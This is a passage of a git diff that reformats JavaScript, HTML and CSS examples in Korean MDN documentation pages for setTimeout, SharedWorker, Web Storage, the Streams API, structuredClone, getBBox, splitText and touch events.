 myArray.myMethod = function (sProperty) {
   console.log(arguments.length > 0 ? this[sProperty] : this);
 };
 
-myArray.myMethod();  // "zero,one,two" 기록
+myArray.myMethod(); // "zero,one,two" 기록
 myArray.myMethod(1); // "one" 기록
 ```
 
 위의 코드는 `myMethod`를 호출할 때, 호출로 인해 `this`가 `myArray`로 설정되기 때문에 정상적으로 동작합니다. `this[sProperty]`가 `myArray[sProperty]`와 동일함을 확인하세요. 그러나, 다음의 코드도 살펴보세요.
 
 ```js
-setTimeout(myArray.myMethod, 1.0*1000);      // 1초 후 "[object Window]" 기록
-setTimeout(myArray.myMethod, 1.5*1000, '1'); // 1.5초 후 "undefined" 기록
+setTimeout(myArray.myMethod, 1.0 * 1000); // 1초 후 "[object Window]" 기록
+setTimeout(myArray.myMethod, 1.5 * 1000, "1"); // 1.5초 후 "undefined" 기록
 ```
 
 `myArray.myMethod`를 `setTimeout`에 전달했고, 타이머 만료 후 호출 시점에 `this`가 따로 설정되지 않으므로 기본 값인 `window` 객체를 가리키게 돼 정상적인 동작을 하지 않습니다.
@@ -90,8 +97,8 @@ setTimeout(myArray.myMethod, 1.5*1000, '1'); // 1.5초 후 "undefined" 기록
 {{jsxref("Array.forEach()", "forEach()")}}와 {{jsxref("Array.reduce()", "reduce()")}} 등 {{jsxref("Array")}}의 메서드와는 달리 `setTimeout()`에는 `thisArg`를 설정할 수 있는 방법 또한 존재하지 않습니다. 그리고 `call`을 사용해 `this`를 설정하는 것 역시 작동하지 않습니다.
 
 ```js
-setTimeout.call(myArray, myArray.myMethod, 2.0*1000);    // 오류
-setTimeout.call(myArray, myArray.myMethod, 2.5*1000, 2); // 같은 오류
+setTimeout.call(myArray, myArray.myMethod, 2.0 * 1000); // 오류
+setTimeout.call(myArray, myArray.myMethod, 2.5 * 1000, 2); // 같은 오류
 ```
 
 #### 해결법
@@ -101,15 +108,23 @@ setTimeout.call(myArray, myArray.myMethod, 2.5*1000, 2); // 같은 오류
 이 문제를 해결할 때 자주 사용하는 방법 중 하나는 `this`를 설정할 수 있도록 함수를 다른 함수로 감싸는 것입니다.
 
 ```js
-setTimeout(function(){myArray.myMethod()}, 2.0*1000);    // 2초 후 "zero,one,two" 기록
-setTimeout(function(){myArray.myMethod('1')}, 2.5*1000); // 2.5초 후 "one" 기록
+setTimeout(function () {
+  myArray.myMethod();
+}, 2.0 * 1000); // 2초 후 "zero,one,two" 기록
+setTimeout(function () {
+  myArray.myMethod("1");
+}, 2.5 * 1000); // 2.5초 후 "one" 기록
 ```
 
 화살표 함수로 감쌀 수도 있습니다.
 
 ```js
-setTimeout(() => {myArray.myMethod()}, 2.0*1000);    // 2초 후 "zero,one,two" 기록
-setTimeout(() => {myArray.myMethod('1')}, 2.5*1000); // 2.5초 후 "one" 기록
+setTimeout(() => {
+  myArray.myMethod();
+}, 2.0 * 1000); // 2초 후 "zero,one,two" 기록
+setTimeout(() => {
+  myArray.myMethod("1");
+}, 2.5 * 1000); // 2.5초 후 "one" 기록
 ```
 
 ##### bind() 사용하기
@@ -117,15 +132,15 @@ setTimeout(() => {myArray.myMethod('1')}, 2.5*1000); // 2.5초 후 "one" 기록
 다른 방법으로는 {{jsxref("Function.bind()", "bind()")}}를 사용해서 주어진 함수의 모든 호출에서 `this` 값을 설정하는 것입니다.
 
 ```js
-const myArray = ['zero', 'one', 'two'];
-const myBoundMethod = (function (sProperty) {
-    console.log(arguments.length > 0 ? this[sProperty] : this);
-}).bind(myArray);
+const myArray = ["zero", "one", "two"];
+const myBoundMethod = function (sProperty) {
+  console.log(arguments.length > 0 ? this[sProperty] : this);
+}.bind(myArray);
 
-myBoundMethod();  // "zero,one,two" 기록, this가 myArray에 바인딩됐기 때문
+myBoundMethod(); // "zero,one,two" 기록, this가 myArray에 바인딩됐기 때문
 myBoundMethod(1); // "one" 기록
-setTimeout(myBoundMethod, 1.0*1000);      // 1초 후, 바인딩으로 인해 여전히 "zero,one,two" 기록
-setTimeout(myBoundMethod, 1.5*1000, "1"); // 1.5초 후 "one" 기록
+setTimeout(myBoundMethod, 1.0 * 1000); // 1초 후, 바인딩으로 인해 여전히 "zero,one,two" 기록
+setTimeout(myBoundMethod, 1.5 * 1000, "1"); // 1.5초 후 "one" 기록
 ```
 
 ### 문자열 리터럴 지정하기
@@ -139,8 +154,8 @@ setTimeout("console.log('Hello World!');", 500);
 
 ```js example-good
 // 이렇게 사용하세요
-setTimeout(function() {
-  console.log('Hello World!');
+setTimeout(function () {
+  console.log("Hello World!");
 }, 500);
 ```
 
@@ -198,7 +213,9 @@ function pad(number) {
 function logline(now) {
   // log the last timestamp, the new timestamp, and the difference
   const newLine = document.createElement("pre");
-  newLine.textContent = `${pad(last)}         ${pad(now)}          ${now - last}`;
+  newLine.textContent = `${pad(last)}         ${pad(now)}          ${
+    now - last
+  }`;
   document.getElementById("log").appendChild(newLine);
   last = now;
 }
@@ -230,10 +247,10 @@ Firefox는 추적 스크립트로 인식한 스크립트에 대해 추가 스로
 
 ```js
 function foo() {
-  console.log('foo 호출');
+  console.log("foo 호출");
 }
 setTimeout(foo, 0);
-console.log('setTimeout 완료');
+console.log("setTimeout 완료");
 ```
 
 위 코드의 콘솔 기록 결과는 다음과 같습니다.
@@ -278,12 +295,12 @@ Internet Explorer, Chrome, Safari, Firefox를 포함한 브라우저는 딜레
 let timeoutID;
 
 function setOutput(outputContent) {
-  document.querySelector('#output').textContent = outputContent;
+  document.querySelector("#output").textContent = outputContent;
 }
 
 function delayedMessage() {
-  setOutput('');
-  timeoutID = setTimeout(setOutput, 2*1000, '너무 느려요!');
+  setOutput("");
+  timeoutID = setTimeout(setOutput, 2 * 1000, "너무 느려요!");
 }
 
 function clearMessage() {
@@ -293,7 +310,7 @@ function clearMessage() {
 
 ```css hidden
 #output {
-  padding: .5rem 0;
+  padding: 0.5rem 0;
 }
 ```
 
diff --git a/files/ko/web/api/sharedworker/index.md b/files/ko/web/api/sharedworker/index.md
index c8fab9530727ad..ca326c55e1f4a7 100644
--- a/files/ko/web/api/sharedworker/index.md
+++ b/files/ko/web/api/sharedworker/index.md
@@ -2,6 +2,7 @@
 title: SharedWorker
 slug: Web/API/SharedWorker
 ---
+
 {{APIRef("Web Workers API")}}
 
 **`SharedWorker`** 인터페이스는 윈도우 창이나 iframe, 워커등의 다른 브라우징 컨텍스트에서도 접근이 가능한 특정 종류의 워커를 의미합니다. 기존의 다른 종류의 워커들과 다른 전역 스코프를 갖는 인터페이스를 구현합니다. {{domxref("SharedWorkerGlobalScope")}}.
@@ -45,35 +46,35 @@ myWorker.port.start();
 포트가 시작되면, 양 스크립트는 워커에 메시지를 보내고 `port.postMessage()`와 `port.onmessage` 를 각각 이용하여 메시지를 처리합니다.
 
 ```js
-first.onchange = function() {
-    myWorker.port.postMessage([first.value,second.value]);
-    console.log('Message posted to worker');
-  }
-
-  second.onchange = function() {
-    myWorker.port.postMessage([first.value,second.value]);
-    console.log('Message posted to worker');
-  }
-
-  myWorker.port.onmessage = function(e) {
-    result1.textContent = e.data;
-    console.log('Message received from worker');
-  }
+first.onchange = function () {
+  myWorker.port.postMessage([first.value, second.value]);
+  console.log("Message posted to worker");
+};
+
+second.onchange = function () {
+  myWorker.port.postMessage([first.value, second.value]);
+  console.log("Message posted to worker");
+};
+
+myWorker.port.onmessage = function (e) {
+  result1.textContent = e.data;
+  console.log("Message received from worker");
+};
 ```
 
 워커에서 {{domxref("SharedWorkerGlobalScope.onconnect")}} 핸들러를 이용하여 위에 언급된 포트에 접속할 수 있습니다. 워커에 연관되어 있는 포트는 {{event("connect")}} 이벤트 포트 속성에 접근할 수 있습니다 — 그리고나서 {{domxref("MessagePort")}} `start()` 메서드로 포트를 시작하고, onmessage 핸들러로 메인쓰레드에서 받은 메시지를 처리합니다.
 
 ```js
-onconnect = function(e) {
-    var port = e.ports[0];
+onconnect = function (e) {
+  var port = e.ports[0];
 
-    port.addEventListener('message', function(e) {
-      var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
-      port.postMessage(workerResult);
-    });
+  port.addEventListener("message", function (e) {
+    var workerResult = "Result: " + e.data[0] * e.data[1];
+    port.postMessage(workerResult);
+  });
 
-    port.start(); // Required when using addEventListener. Otherwise called implicitly by onmessage setter.
-}
+  port.start(); // Required when using addEventListener. Otherwise called implicitly by onmessage setter.
+};
 ```
 
 ## 명세
diff --git a/files/ko/web/api/storage/index.md b/files/ko/web/api/storage/index.md
index a065616e8f7225..86cc565c9c9f8b 100644
--- a/files/ko/web/api/storage/index.md
+++ b/files/ko/web/api/storage/index.md
@@ -2,6 +2,7 @@
 title: Storage
 slug: Web/API/Storage
 ---
+
 {{APIRef("Web Storage API")}}
 
 [Web Storage API](/ko/docs/Web/API/Web_Storage_API)의 **`Storage`** 인터페이스는 특정 도메인을 위한 세션 저장소 또는 로컬 저장소의 접근 경로로서 데이터를 추가하고 수정하거나 삭제할 수 있습니다.
@@ -31,30 +32,30 @@ slug: Web/API/Storage
 아래 코드에서는 `localStorage`에 접근해 `Storage` 객체를 접근합니다. 우선 `!localStorage.getItem('bgcolor')`를 사용해 데이터가 저장소에 존재하는지 알아냅니다. 데이터가 있으면 {{domxref("Storage.getItem()")}}으로 회수한 후 `setStyles()`로 페이지 스타일을 바꿉니다. 데이터가 없으면 `populateStorage()` 함수를 호출하고, 그 안에서는 {{domxref("Storage.setItem()")}}을 통해 데이터를 설정합니다. 그 후에는 동일하게 `setStyles()`를 사용합니다.
 
 ```js
-if(!localStorage.getItem('bgcolor')) {
+if (!localStorage.getItem("bgcolor")) {
   populateStorage();
 } else {
   setStyles();
 }
 
 function populateStorage() {
-  localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
-  localStorage.setItem('font', document.getElementById('font').value);
-  localStorage.setItem('image', document.getElementById('image').value);
+  localStorage.setItem("bgcolor", document.getElementById("bgcolor").value);
+  localStorage.setItem("font", document.getElementById("font").value);
+  localStorage.setItem("image", document.getElementById("image").value);
 }
 
 function setStyles() {
-  var currentColor = localStorage.getItem('bgcolor');
-  var currentFont = localStorage.getItem('font');
-  var currentImage = localStorage.getItem('image');
+  var currentColor = localStorage.getItem("bgcolor");
+  var currentFont = localStorage.getItem("font");
+  var currentImage = localStorage.getItem("image");
 
-  document.getElementById('bgcolor').value = currentColor;
-  document.getElementById('font').value = currentFont;
-  document.getElementById('image').value = currentImage;
+  document.getElementById("bgcolor").value = currentColor;
+  document.getElementById("font").value = currentFont;
+  document.getElementById("image").value = currentImage;
 
-  htmlElem.style.backgroundColor = '#' + currentColor;
+  htmlElem.style.backgroundColor = "#" + currentColor;
   pElem.style.fontFamily = currentFont;
-  imgElem.setAttribute('src', currentImage);
+  imgElem.setAttribute("src", currentImage);
 }
 ```
 
diff --git a/files/ko/web/api/storage/key/index.md b/files/ko/web/api/storage/key/index.md
index 9ee5892f018aa4..7cffc3a35069a4 100644
--- a/files/ko/web/api/storage/key/index.md
+++ b/files/ko/web/api/storage/key/index.md
@@ -37,8 +37,8 @@ function forEachKey(callback) {
 다음 함수는 localStorage 의 key들을 반복하고 각 key에 설정된 값들을 가져옵니다.
 
 ```js
-for(var i =0; i < localStorage.length; i++){
-   console.log(localStorage.getItem(localStorage.key(i)));
+for (var i = 0; i < localStorage.length; i++) {
+  console.log(localStorage.getItem(localStorage.key(i)));
 }
 ```
 
diff --git a/files/ko/web/api/storage/length/index.md b/files/ko/web/api/storage/length/index.md
index bb0e2bcbd7e92a..9d8ce2409369fd 100644
--- a/files/ko/web/api/storage/length/index.md
+++ b/files/ko/web/api/storage/length/index.md
@@ -2,6 +2,7 @@
 title: Storage.length
 slug: Web/API/Storage/length
 ---
+
 {{APIRef("Web Storage API")}}
 
 {{domxref("Storage")}} 인터페이스의 `length` 읽기 전용 속성은 `Storage` 객체에 저장된 데이터 항목의 수를 반환합니다.
@@ -22,9 +23,9 @@ length = storage.length;
 
 ```js
 function populateStorage() {
-  localStorage.setItem('bgcolor', 'yellow');
-  localStorage.setItem('font', 'Helvetica');
-  localStorage.setItem('image', 'cats.png');
+  localStorage.setItem("bgcolor", "yellow");
+  localStorage.setItem("font", "Helvetica");
+  localStorage.setItem("image", "cats.png");
 
   return localStorage.length; // Should return 3
 }
diff --git a/files/ko/web/api/storage/removeitem/index.md b/files/ko/web/api/storage/removeitem/index.md
index 156c07a119dd3d..591f51098c30d5 100644
--- a/files/ko/web/api/storage/removeitem/index.md
+++ b/files/ko/web/api/storage/removeitem/index.md
@@ -28,11 +28,11 @@ _반환값 없음._
 
 ```js
 function populateStorage() {
-  localStorage.setItem('bgcolor', 'red');
-  localStorage.setItem('font', 'Helvetica');
-  localStorage.setItem('image', 'myCat.png');
+  localStorage.setItem("bgcolor", "red");
+  localStorage.setItem("font", "Helvetica");
+  localStorage.setItem("image", "myCat.png");
 
-  localStorage.removeItem('image');
+  localStorage.removeItem("image");
 }
 ```
 
diff --git a/files/ko/web/api/streams_api/concepts/index.md b/files/ko/web/api/streams_api/concepts/index.md
index 84a57af9d078ba..aec9dba0cbe1ab 100644
--- a/files/ko/web/api/streams_api/concepts/index.md
+++ b/files/ko/web/api/streams_api/concepts/index.md
@@ -14,7 +14,7 @@ A readable stream is a data source represented in JavaScript by a {{domxref("Rea
 
 There are two types of underlying source:
 
-- **Push sources** constantly push data at you when you’ve accessed them, and it is up to you to start, pause, or cancel access to the stream. Examples include video streams and TCP/[Web sockets](/ko/docs/Web/API/WebSockets_API).
+- **Push sources** constantly push data at you when you've accessed them, and it is up to you to start, pause, or cancel access to the stream. Examples include video streams and TCP/[Web sockets](/ko/docs/Web/API/WebSockets_API).
 - **Pull sources** require you to explicitly request data from them once connected to. Examples include a file access operation via a [Fetch](/ko/docs/Web/API/Fetch_API) or [XHR](/ko/docs/Web/API/XMLHttpRequest/XMLHttpRequest) call.
 
 The data is read sequentially in small pieces called **chunks**. A chunk can be a single byte, or it can be something larger such as a [typed array](/ko/docs/Web/JavaScript/Typed_arrays) of a certain size. A single stream can contain chunks of different sizes and types.
@@ -25,11 +25,11 @@ The chunks placed in a stream are said to be **enqueued** — this means they ar
 
 The chunks inside the stream are read by a **reader** — this processes the data one chunk at a time, allowing you to do whatever kind of operation you want to do on it. The reader plus the other processing code that goes along with it is called a **consumer**.
 
-There is also a construct you’ll use called a **controller** — each reader has an associated controller that allows you to control the stream (for example, to cancel it if wished).
+There is also a construct you'll use called a **controller** — each reader has an associated controller that allows you to control the stream (for example, to cancel it if wished).
 
 Only one reader can read a stream at a time; when a reader is created and starts reading a stream (an **active reader**), we say it is **locked** to it. If you want another reader to start reading your stream, you typically need to cancel the first reader before you do anything else (although you can **tee** streams, see the Teeing section below)
 
-Note that there are two different types of readable stream. As well as the conventional readable stream there is a type called a byte stream — this is an extended version of a conventional stream for reading underlying byte sources (otherwise known as BYOB, or “bring your own buffer”) sources. These allow streams to be read straight into a buffer supplied by the developer, minimizing the copying required. Which underlying stream (and by extension, reader and controller) your code will use depends on how the stream was created in the first place (see the {{domxref("ReadableStream.ReadableStream()")}} constructor page).
+Note that there are two different types of readable stream. As well as the conventional readable stream there is a type called a byte stream — this is an extended version of a conventional stream for reading underlying byte sources (otherwise known as BYOB, or "bring your own buffer") sources. These allow streams to be read straight into a buffer supplied by the developer, minimizing the copying required. Which underlying stream (and by extension, reader and controller) your code will use depends on how the stream was created in the first place (see the {{domxref("ReadableStream.ReadableStream()")}} constructor page).
 
 > **경고:** **Important**: Byte streams are not implemented anywhere as yet, and questions have been raised as to whether the spec details are in a finished enough state for them to be implemented. This may change over time.
 
@@ -41,7 +41,7 @@ Even though only a single reader can read a stream at once, it is possible to sp
 
 In JavaScript, this is achieved via the {{domxref("ReadableStream.tee()")}} method — it outputs an array containing two identical copies of the original readable stream, which can then be read independently by two separate readers.
 
-You might do this for example in a [ServiceWorker](/ko/docs/Web/API/Service_Worker_API) if you want to fetch a response from the server and stream it to the browser, but also stream it to the ServiceWorker cache. Since a response body cannot be consumed more than once, and a stream can't be read by more than one reader at once, you’d need two copies to do this.
+You might do this for example in a [ServiceWorker](/ko/docs/Web/API/Service_Worker_API) if you want to fetch a response from the server and stream it to the browser, but also stream it to the ServiceWorker cache. Since a response body cannot be consumed more than once, and a stream can't be read by more than one reader at once, you'd need two copies to do this.
 
 ![](tee.png)
 
@@ -55,7 +55,7 @@ When a writer is created and starts writing to a stream (an **active writer**),
 
 An **internal queue** keeps track of the chunks that have been written to the stream but not yet been processed by the underlying sink.
 
-There is also a construct you’ll use called a controller — each writer has an associated controller that allows you to control the stream (for example, to abort it if wished).
+There is also a construct you'll use called a controller — each writer has an associated controller that allows you to control the stream (for example, to abort it if wished).
 
 ![](writable_streams.png)
 
@@ -101,6 +101,6 @@ high water mark - total size of chunks in queue = desired size
 
 The **desired size** is the size of chunks the stream can still accept to keep the stream flowing but below the high water mark in size. After the calculation is performed, chunk generation will be slowed down/sped up as appropriate to keep the stream flowing as fast as possible while keeping the desired size above zero. If the value falls to zero (or below in the case of writable streams), it means that chunks are being generated faster than the stream can cope with, which results in problems.
 
-> **참고:** What happens in the case of zero or negative desired size hasn’t really been defined in the spec so far. Patience is a virtue.
+> **참고:** What happens in the case of zero or negative desired size hasn't really been defined in the spec so far. Patience is a virtue.
 
 As an example, let's take a chunk size of 1, and a high water mark of 3. This means that up to 3 chunks can be enqueued before the high water mark is reached and backpressure is applied.
diff --git a/files/ko/web/api/streams_api/index.md b/files/ko/web/api/streams_api/index.md
index c79e9b8f63ab03..355c1afc41212e 100644
--- a/files/ko/web/api/streams_api/index.md
+++ b/files/ko/web/api/streams_api/index.md
@@ -2,6 +2,7 @@
 title: Streams API
 slug: Web/API/Streams_API
 ---
+
 {{SeeCompatTable}}{{APIRef("Streams")}}
 
 Streams API는 Javascript를 이용해 네트워크를 통해 전송된 데이터 스트림에 접근하여 원하는 대로 처리가 가능한 API를 제공합니다.
diff --git a/files/ko/web/api/streams_api/using_readable_streams/index.md b/files/ko/web/api/streams_api/using_readable_streams/index.md
index 25ace1fb1ceeaf..cd4d3ff2972e5b 100644
--- a/files/ko/web/api/streams_api/using_readable_streams/index.md
+++ b/files/ko/web/api/streams_api/using_readable_streams/index.md
@@ -2,6 +2,7 @@
 title: Using readable streams
 slug: Web/API/Streams_API/Using_readable_streams
 ---
+
 {{apiref("Streams")}}
 
 자바스크립트 개발자로서, 프로그래밍적으로 네트워크로부터 받은 데이터 스트림을 Chunk단위로 읽고 다루는 것은 매우 유용합니다! 그러나 어떻게 스트림 API의 Readable stream을 잘 사용할수 있을까요. 이번 내용은 그것을 설명하고 있습니다.
@@ -28,9 +29,9 @@ slug: Web/API/Streams_API/Using_readable_streams
 
 ```js
 // 오리지널 이미지를 Fetch 함
-fetch('./tortoise.png')
-// body 를 ReadableStream으로 가공함
-.then(response => response.body)
+fetch("./tortoise.png")
+  // body 를 ReadableStream으로 가공함
+  .then((response) => response.body);
 ```
 
 이것은 우리에게 {{domxref("ReadableStream")}} 객체를 제공해 줍니다.
@@ -230,15 +231,15 @@ const stream = new ReadableStream({
       // Add the string to the stream
       controller.enqueue(string);
       // show it on the screen
-      let listItem = document.createElement('li');
+      let listItem = document.createElement("li");
       listItem.textContent = string;
       list1.appendChild(listItem);
     }, 1000);
-    button.addEventListener('click', function() {
+    button.addEventListener("click", function () {
       clearInterval(interval);
       readStream();
       controller.close();
-    })
+    });
   },
   pull(controller) {
     // We don't really need a pull in this example
@@ -247,7 +248,7 @@ const stream = new ReadableStream({
     // This is called if the reader cancels,
     // so we should stop generating strings
     clearInterval(interval);
-  }
+  },
 });
 ```
 
@@ -272,8 +273,9 @@ function readStream() {
 
     charsReceived += value.length;
     const chunk = value;
-    let listItem = document.createElement('li');
-    listItem.textContent = 'Read ' + charsReceived + ' characters so far. Current chunk = ' + chunk;
+    let listItem = document.createElement("li");
+    listItem.textContent =
+      "Read " + charsReceived + " characters so far. Current chunk = " + chunk;
     list2.appendChild(listItem);
 
     result += chunk;
@@ -300,10 +302,10 @@ function readStream() {
 
 ```js
 function teeStream() {
-    const teedOff = stream.tee();
-    readStream(teedOff[0], list2);
-    readStream(teedOff[1], list3);
-  }
+  const teedOff = stream.tee();
+  readStream(teedOff[0], list2);
+  readStream(teedOff[1], list3);
+}
 ```
 
 ## Pipe chains
@@ -316,15 +318,15 @@ We have created an example called [Unpack Chunks of a PNG](https://github.com/md
 
 ```js
 // Fetch the original image
-fetch('png-logo.png')
-// Retrieve its body as ReadableStream
-.then(response => response.body)
-// Create a gray-scaled PNG stream out of the original
-.then(rs => logReadableStream('Fetch Response Stream', rs))
-.then(body => body.pipeThrough(new PNGTransformStream()))
-.then(rs => logReadableStream('PNG Chunk Stream', rs))
+fetch("png-logo.png")
+  // Retrieve its body as ReadableStream
+  .then((response) => response.body)
+  // Create a gray-scaled PNG stream out of the original
+  .then((rs) => logReadableStream("Fetch Response Stream", rs))
+  .then((body) => body.pipeThrough(new PNGTransformStream()))
+  .then((rs) => logReadableStream("PNG Chunk Stream", rs));
 ```
 
 ## Summary
 
-That explains the basics of “default” readable streams. We’ll explain bytestreams in a separate future article, once they are available in browsers.
+That explains the basics of "default" readable streams. We'll explain bytestreams in a separate future article, once they are available in browsers.
diff --git a/files/ko/web/api/structuredclone/index.md b/files/ko/web/api/structuredclone/index.md
index 891272a3695a3a..94804872ce0d14 100644
--- a/files/ko/web/api/structuredclone/index.md
+++ b/files/ko/web/api/structuredclone/index.md
@@ -58,7 +58,7 @@ console.assert(clone.itself === clone); // 순환 참조가 보존됩니다.
 
 ### 값 전송
 
-`options` 매개변수의 `transfer` 속성을 사용하여 복제된 객체에서 복제되는 대신 [전송가능한 객체](/en-US/docs/Web/API/Web_Workers_API/Transferable_objects)가 전송될 수 있습니다. 전송하면 원래 객체를 사용할 수 없게 됩니다.
+`options` 매개변수의 `transfer` 속성을 사용하여 복제된 객체에서 복제되는 대신 [전송가능한 객체](/ko/docs/Web/API/Web_Workers_API/Transferable_objects)가 전송될 수 있습니다. 전송하면 원래 객체를 사용할 수 없게 됩니다.
 
 > **참고 사항** 버퍼의 일부 데이터를 저장하기 전에 비동기적으로 검사할 때 유용할 수 있습니다.
 > 데이터가 저장되기 전에 버퍼가 수정되는 것을 피하기 위해 버퍼를 복제하고 해당 데이터를 검사할 수 있습니다.
@@ -83,7 +83,7 @@ console.log(uInt8Array.byteLength); // 0
 ```js
 const transferred = structuredClone(
   { x: { y: { z: arrayBuffer1, w: arrayBuffer2 } } },
-  { transfer: [arrayBuffer1] }
+  { transfer: [arrayBuffer1] },
 );
 ```
 
diff --git a/files/ko/web/api/svggraphicselement/getbbox/index.md b/files/ko/web/api/svggraphicselement/getbbox/index.md
index c6a37317f6d915..5b51d92d393942 100644
--- a/files/ko/web/api/svggraphicselement/getbbox/index.md
+++ b/files/ko/web/api/svggraphicselement/getbbox/index.md
@@ -2,6 +2,7 @@
 title: SVGGraphicsElement.getBBox()
 slug: Web/API/SVGGraphicsElement/getBBox
 ---
+
 {{APIRef}}
 
 **`SVGGraphicsElement.getBBox()`** 메서드는 객체가 들어가는 가장 작은 직사각형의 좌표를 알아냅니다. 반환되는 좌표는 (목표 요소에 포함된 모든 요소의 모든 기하 특성의 적용 이후의) 현재 SVG 공간에 관련되어 있습니다.
@@ -45,35 +46,37 @@ let bboxRect = object.getBBox();
 
 ```html
 <svg viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg">
-    <g id="group_text_1">
-        <text x="5" y="16" transform="scale(2, 2)">Hello World!</text>
-        <text x="8" y="32" transform="translate(0 20) scale(1.25 1)">Hello World Again!</text>
-    </g>
-    <!-- 녹색으로 BBox를 보여줍니다 -->
-    <rect id="rect_1" stroke="#00ff00" stroke-width="3" fill="none"> </rect>
-    <!-- 적색으로 BoundingClientRect를 보여줍니다 -->
-    <rect id="rect_2" stroke="#ff0000" stroke-width="3" fill="none"></rect>
+  <g id="group_text_1">
+    <text x="5" y="16" transform="scale(2, 2)">Hello World!</text>
+    <text x="8" y="32" transform="translate(0 20) scale(1.25 1)">
+      Hello World Again!
+    </text>
+  </g>
+  <!-- 녹색으로 BBox를 보여줍니다 -->
+  <rect id="rect_1" stroke="#00ff00" stroke-width="3" fill="none"></rect>
+  <!-- 적색으로 BoundingClientRect를 보여줍니다 -->
+  <rect id="rect_2" stroke="#ff0000" stroke-width="3" fill="none"></rect>
 </svg>
 ```
 
 ### JavaScript
 
 ```js
-var rectBBox = document.querySelector('#rect_1');
-var rectBoundingClientRect = document.querySelector('#rect_2');
-var groupElement = document.querySelector('#group_text_1');
+var rectBBox = document.querySelector("#rect_1");
+var rectBoundingClientRect = document.querySelector("#rect_2");
+var groupElement = document.querySelector("#group_text_1");
 
 var bboxGroup = groupElement.getBBox();
-rectBBox.setAttribute('x', bboxGroup.x);
-rectBBox.setAttribute('y', bboxGroup.y);
-rectBBox.setAttribute('width', bboxGroup.width);
-rectBBox.setAttribute('height', bboxGroup.height);
+rectBBox.setAttribute("x", bboxGroup.x);
+rectBBox.setAttribute("y", bboxGroup.y);
+rectBBox.setAttribute("width", bboxGroup.width);
+rectBBox.setAttribute("height", bboxGroup.height);
 
 var boundingClientRectGroup = groupElement.getBoundingClientRect();
-rectBoundingClientRect.setAttribute('x', boundingClientRectGroup.x);
-rectBoundingClientRect.setAttribute('y', boundingClientRectGroup.y);
-rectBoundingClientRect.setAttribute('width', boundingClientRectGroup.width);
-rectBoundingClientRect.setAttribute('height', boundingClientRectGroup.height);
+rectBoundingClientRect.setAttribute("x", boundingClientRectGroup.x);
+rectBoundingClientRect.setAttribute("y", boundingClientRectGroup.y);
+rectBoundingClientRect.setAttribute("width", boundingClientRectGroup.width);
+rectBoundingClientRect.setAttribute("height", boundingClientRectGroup.height);
 ```
 
 ## 명세서
diff --git a/files/ko/web/api/text/splittext/index.md b/files/ko/web/api/text/splittext/index.md
index ae659a753a0ebe..2ea89e2aaa65fb 100644
--- a/files/ko/web/api/text/splittext/index.md
+++ b/files/ko/web/api/text/splittext/index.md
@@ -16,7 +16,7 @@ slug: Web/API/Text/splitText
 ## 문법
 
 ```js
-replacementNode = textnode.splitText(offset)
+replacementNode = textnode.splitText(offset);
 ```
 
 ## 예제
@@ -28,15 +28,15 @@ replacementNode = textnode.splitText(offset)
   <p id="p">foobar</p>
 
   <script type="text/javascript">
-    var p = document.getElementById('p');
+    var p = document.getElementById("p");
     var textnode = p.firstChild;
 
     // foo 와 bar 사이를 분리
     var replacementNode = textnode.splitText(3);
 
     // ' span contents ' 를 포함하는 span을 생성
-    var span = document.createElement('span');
-    span.appendChild(document.createTextNode(' span contents '));
+    var span = document.createElement("span");
+    span.appendChild(document.createTextNode(" span contents "));
 
     // 'bar' 앞에 span을 추가
     p.insertBefore(span, replacementNode);
diff --git a/files/ko/web/api/touch_events/index.md b/files/ko/web/api/touch_events/index.md
index dbc12cfc623d07..b188a6678ba6d1 100644
--- a/files/ko/web/api/touch_events/index.md
+++ b/files/ko/web/api/touch_events/index.md
@@ -2,6 +2,7 @@
 title: Touch events
 slug: Web/API/Touch_events
 ---
+
 {{DefaultAPISidebar("Touch Events")}}
 
 터치를 기반으로 한 양질의 서비스를 제공하기 위해, Touch Events(터치이벤트)는 터치로 인한 움직임을 감지할 능력을 제공합니다.
@@ -38,10 +39,11 @@ This example tracks multiple touch points at a time, allowing the user to draw i
 <canvas id="canvas" width="600" height="600" style="border:solid black 1px;">
   Your browser does not support canvas element.
 </canvas>
-<br>
+<br />
 <button onclick="startup()">Initialize</button>
-<br>
-Log: <pre id="log" style="border: 1px solid #ccc;"></pre>
+<br />
+Log:
+<pre id="log" style="border: 1px solid #ccc;"></pre>
 ```
 
 ### Setting up the event handlers
@@ -84,7 +86,7 @@ function handleStart(evt) {
     ongoingTouches.push(copyTouch(touches[i]));
     var color = colorForTouch(touches[i]);
     ctx.beginPath();
-    ctx.arc(touches[i].pageX, touches[i].pageY, 4, 0, 2 * Math.PI, false);  // a circle at the start
+    ctx.arc(touches[i].pageX, touches[i].pageY, 4, 0, 2 * Math.PI, false); // a circle at the start
     ctx.fillStyle = color;
     ctx.fill();
     log("touchstart:" + i + ".");
@@ -112,9 +114,15 @@ function handleMove(evt) {
     var idx = ongoingTouchIndexById(touches[i].identifier);
 
     if (idx >= 0) {
-      log("continuing touch "+idx);
+      log("continuing touch " + idx);
       ctx.beginPath();
-      log("ctx.moveTo(" + ongoingTouches[idx].pageX + ", " + ongoingTouches[idx].pageY + ");");
+      log(
+        "ctx.moveTo(" +
+          ongoingTouches[idx].pageX +
+          ", " +
+          ongoingTouches[idx].pageY +
+          ");",
+      );
       ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
       log("ctx.lineTo(" + touches[i].pageX + ", " + touches[i].pageY + ");");
       ctx.lineTo(touches[i].pageX, touches[i].pageY);
@@ -122,7 +130,7 @@ function handleMove(evt) {
       ctx.strokeStyle = color;
       ctx.stroke();
 
-      ongoingTouches.splice(idx, 1, copyTouch(touches[i]));  // swap in the new touch record
+      ongoingTouches.splice(idx, 1, copyTouch(touches[i])); // swap in the new touch record
       log(".");
     } else {
       log("can't figure out which touch to continue");
@@ -159,8 +167,8 @@ function handleEnd(evt) {
       ctx.beginPath();
       ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
       ctx.lineTo(touches[i].pageX, touches[i].pageY);
-      ctx.fillRect(touches[i].pageX - 4, touches[i].pageY - 4, 8, 8);  // and a square at the end
-      ongoingTouches.splice(idx, 1);  // remove it; we're done
+      ctx.fillRect(touches[i].pageX - 4, touches[i].pageY - 4, 8, 8); // and a square at the end
+      ongoingTouches.splice(idx, 1); // remove it; we're done
     } else {
       log("can't figure out which touch to end");
     }
@@ -182,7 +190,7 @@ function handleCancel(evt) {
